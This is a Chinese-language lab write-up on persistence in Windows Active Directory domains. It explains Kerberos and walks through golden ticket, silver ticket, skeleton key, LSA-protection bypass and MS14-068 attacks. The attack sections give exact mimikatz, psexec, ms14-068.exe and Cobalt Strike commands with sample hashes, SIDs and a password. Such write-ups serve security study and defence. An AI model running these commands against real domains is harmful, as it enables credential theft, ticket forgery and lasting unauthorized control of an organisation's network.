前言
在进入内网进行渗透横向过程中,有时候会遇到域环境。学习整理下域环境中权限维持相关的技术。
本次实验环境:
windows server 2012 x64(域控)
win7 x64 (域内主机)
常用命令
net view /domain 查询域列表
net time /domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判断主域,主域一般用做时间服务器
net localgroup administrators 本机管理员【通常含有域用户】
net user /domain 查询域用户(当前域)
net group /domain 查询域工作组
net group "domain computers" /domain 查看加入域的所有计算机名
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup administrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控
net accounts /domain 查看域密码策略
ping 域控计算机名 查找域控地址
ipconfig /all 通常域内主机 DNS 地址就是域控地址
kerberos协议
学习域渗透,绕不开对kerberos协议的学习。
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。
过程分析
当Client想要访问Server上的某个服务时,首先向AS证明自己的身份,AS认证通过发放TGT给Client,然后Client拿着TGT向TGS发起认证请求,认证通过返还一个ST给Client,最后Client拿着ST去访问serve,整个过程分为三步:
The Authentication Service Exchange: Client 与 AS 的交互
The Ticket Granting Service Exchange:Client 与 TGS 的交互
The Client/Server Authentication Exchange:Client 与 Server 的交互
Domain Controller (域控制器),简称DC,一台计算机,实现用户、计算机的统一管理。
KeyDistribution Center(秘钥分发中心),简称KDC,默认安装在域控。
Authentication Service(身份验证服务),简称AS,用于KDC对Client认证。
Ticket Grantng Service (票据授予服务),简称TGS,用于KDC向Client和Server分发Session Key。
Active Directory(活动目录),简称AD,用于存储用户、用户组、域相关的信息。
Client 客户端,指用户。
Server 服务端,某台计算机或者某个服务
Client 与 AS 的交互
KRB_AS_REQ:
Client 先向 KDC 的 AS 发送 Authenticator1,内容为通过 Client NTML Hash 加密的时间戳、Client ID、网络地址、加密类型等内容。
KBR_AS_REP:
当 AS 接受到 Client的请求后,向AD发起请求,通过AD获取密码Hash并且验证信息。验证成功后生成一个由Client Hash加密的Session Key as和使用域特定账户krbtgt Hash加密的TGT(包含了session key as,超时时间等信息)返回给cilent客户端。
kerberos 第一步请求完成。
Client 与 TGS 的交互
KBR_TGS_REQ:
client接收到as返回的KBR_AS_REP:,使用自身的hash解密第一部分得到Session Key as,由于不知道krbtgt的Hash,因此TGT无法解密。使用得到的Session-Key as 加密数据(timestamp、Client-info、Server-info)作为一部分,然后把无法解密的TGT做为第二部分组成KBR_TGS_REQ发送给TGS。
KBR_TGS-REP:
TGS 收到 Client 发送过来的 TGT 和 Session key-as 加密的数据(timestamp、Client-info、Server-info)后,使用krbtgt的hash解密TGT,得到Session-key as等信息,然后拿着Session-key as去解密第一部分,TGA将两部分中的时间戳,客户端等信息进行比较,如果认证都通过,发送KBR_TGS-REP给Client。
KBR_TGS-REP由二部分组成,第一部分是由Session-key as加密的Session-key tgs,第二部分是ST(由Server NTLM-hash加密的Session-key tgs、timestamp、Client-info)
kerberos第二步请求完成。
Client 与 Server 的交互
client接收到TGS返回的KBR_TGS-REP,首先使用Sessions-key as解密第一部分得到Session-key tgs,由于不知道Server NTML hash因此第二部分无法解密。
KRB_AP_REQ:
client使用得到的Session-key tgs对timetamp、Client-info、Server-info信息进行加密得到第一部分,ST做为第二部分发送给server。
KRB_AP_REP:
server收到client发送的KRB_AP_REQ,使用自身的server NTML-hash解密ST,得到Session-key tgs,再使用Session-key tgs解密第一部分,然后对两部分的内容进行比较。验证通过后发送KRB_AP_REP给client,两者建立通信。
kerberos第三步请求完成。
黄金票据
用于拿下域控主机后的权限维持,krbtgt 账户的密码基本不会更改。
Client通过了第一次AS认证后,返回给TGT用于第二次认证,通过伪造TGT跳过AS认证,直接进行第二次认证,从而和任意server进行通信。
原理分析
kerberos第二次认证发送的KBR_TGS_REQ由二部分组成:Session-Key as 加密数据(timestamp、Client-info、Server-info)和TGT
TGS并没有保存Session-Key as的值,因此可以随意构造Session-Key as,再利用krbtgt 用户的Hash对TGT进行伪造。
使用条件:
1、域名称
2、域的 SID
3、域的krbtgt账户的密码 hash 值
4、伪造的用户名,可以是任意用户,通常是administrator
利用过程
1、获取krbtgt账户 Hash
在域控主机上执行
mimikatz#lsadump::dcsync /domain:tide.org /user:krbtgt
域名称:tide.org
域SID:S-1-5-21-1082813543-4064396809-3123302706
krbtgt账户hash:264d69c269433dacf814799a4e6e92e5
2、伪造黄金票据
在win7上使用mimikatz伪造黄金票据
kerberos::purge 清空票据缓存
kerberos::golden /admin:Administrator /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /krbtgt:264d69c269433dacf814799a4e6e92e5 /ticket:Administrator.kiribi
执行成功后生成了Administrator.kiribi文件
3、导入黄金票据
导入生成的黄金票据到内存中,获取域控权限。
kerberos::ptt Administrator.kiribi
使用klist命令查看缓存的票证。
可以使用psexec.exe直接获取cmdshell,获取到域控权限。psexec.exe
psexec.exe \\域控计算机全名 cmd
白银票据
学习完黄金票据,再学习白银票据。
第二次认证返回ST给client,通过对ST进行伪造,跳过和client和KDC的前二次认证过程,直接与server进行认证。
原理分析
在第三次认证中,Client会向Server发送KRB_AP_REQ,包括两部分:
第一部分:Session key tgs 加密的 Client-info、timestamp 等信息
第二部分:ST(ticket):由Server NTLM-hash加密的数据(Session-key tgs、timestamp、Client-info)
因此,在知道Server NTLM-hash的情况下可以对ST进行伪造,server并没有保持Session key tgs,因此可以随意伪造Session key tgs。
使用条件
1、域名称
2、域的 SID
3、域中Server服务器账户的NTLM-Hash
4、伪造的用户名(可以是任意的)
用于拿下一台域内主机后的权限维持
利用过程
win7 x64 (域内主机)
windows server 2012 x64(域控)
获得windows server 2012共享的管理权限
1、获取主机名称的ntml hash
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
2、伪造白银票据
因为伪造的是白银票据,没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造。
伪造共享服务cifs
kerberos::purge 清除票据缓存
kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:username /ptt
1. /domain:域名
2. /sid:SID值
3. /target: 目标计算机全名
4. /service: 需要指定相关的服务名,此处为cifs
5. /rc4: 域控的计算机ntlm hash
6. /user: 要伪造的用户名,任意填写
在win7上使用mimikatz执行:
kerberos::golden /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /target:server2012.tide.org /service:cifs /rc4:49b73d36d4b469c8ef789c13246856fb /user:username /ptt
成功把白银票据写入内存,成功访问到目标主机的共享服务。
skeleton key
skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注入,重启后会失效。
1、域控中安装skeleton key
mimikatz.exe privilege::debug "misc::skeleton"
2、域内主机使用密码登录域控
用户名administrator
mimikatz的默认Skeleton Key设置为mimikatz
net use * /delete /y 清除连接
net use \\server2012.tide.org\c$ mimikatz /user:tide\administrator 建立连接
net use 查看连接
成功访问当域控的C盘文件。
绕过LSA保护策略
微软在2014年3月12日添加了LSA保护策略,防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。
使用版本:
Windows 8.1以上
Windows Server 2012 R2以上
1、首先在域控主机上开启lsa保护策略。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建DWORD值,名称为RunAsPPL,数值为00000001
2、重启计算机,进行测试
mimikatz.exe privilege::debug "misc::skeleton"
添加失败
3、绕过lsa保护策略
mimikatz已经支持绕过lsa,该功能需要 mimidrv.sys 文件。mimikatz2.2.0
,
依次执行命令。
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
成功绕过lsa保护策略。
ms14-068
ms14-068用于将普通域用户权限提升至域管理员权限。微软补丁号为kb3011780,理论上不属于权限维持的范畴,因为本文提到了kerberos认证,黄金、白银票据,因此一起进行实验。
漏洞原理建议查看:深入解读MS14-068漏洞:微软精心策划的后门?把ms14-068漏洞产生原因分享非常透彻。
总结来说ms14-068漏洞是在非常“巧合”的情况下利用特权属性证书PAC产生的。
ms14-068.exe
MS14-068.exe
1、首先获取当前用户的SID
whoami /user
2、生成票据
ms14-068.exe -u tidewang@tide.org -s S-1-5-21-1082813543-4064396809-3123302706-1112 -d 10.211.55.12 -p nuoyan@123
-u 域用户@域名
-s 域用户SID
-d 域控制器ip地址
-p 域成员密码
命令执行后,会生成.ccache文件。
3、注入内存
使用mimikatz将票据注入到当前内存中。
kerberos::purge //清空当前所有凭证
kerberos::list //查看当前凭证
kerberos::ptc TGT_tidewang@tide.org.ccache //将票据注入到内存中
利用失败提示检测到危害安全的尝试。
多次尝试仍然无法利用成功,猜测是server2012的原因。后续再进行单独的测试
更换在server2008域控的环境下执行成功。
cobaltstrike下使用
使用ms14-068.exe生成一个票据文件。
然后使用 KrbCredExport 将 .ccache文件转化为kirbi格式。
python KrbCredExport.py TGT_tidewang\@tide.org.ccache user.ticket
在cs的beacon中执行命令,选择ticket文件。
kerberos_ticket_use
成功获得域控权限。
总结
本次对kerberos认证,黄金票据,白银票据,skeleton key,ms14-068利用进行了学习,实验了域环境下特有的权限维持手段。
参考文章
http://0-sec.org/
https://www.jianshu.com/p/13758c310242
https://www.bilibili.com/video/av51717543?from=search&seid=18287323415214240851
https://www.freebuf.com/vuls/56081.html
https://www.jianshu.com/p/27730ab4a6db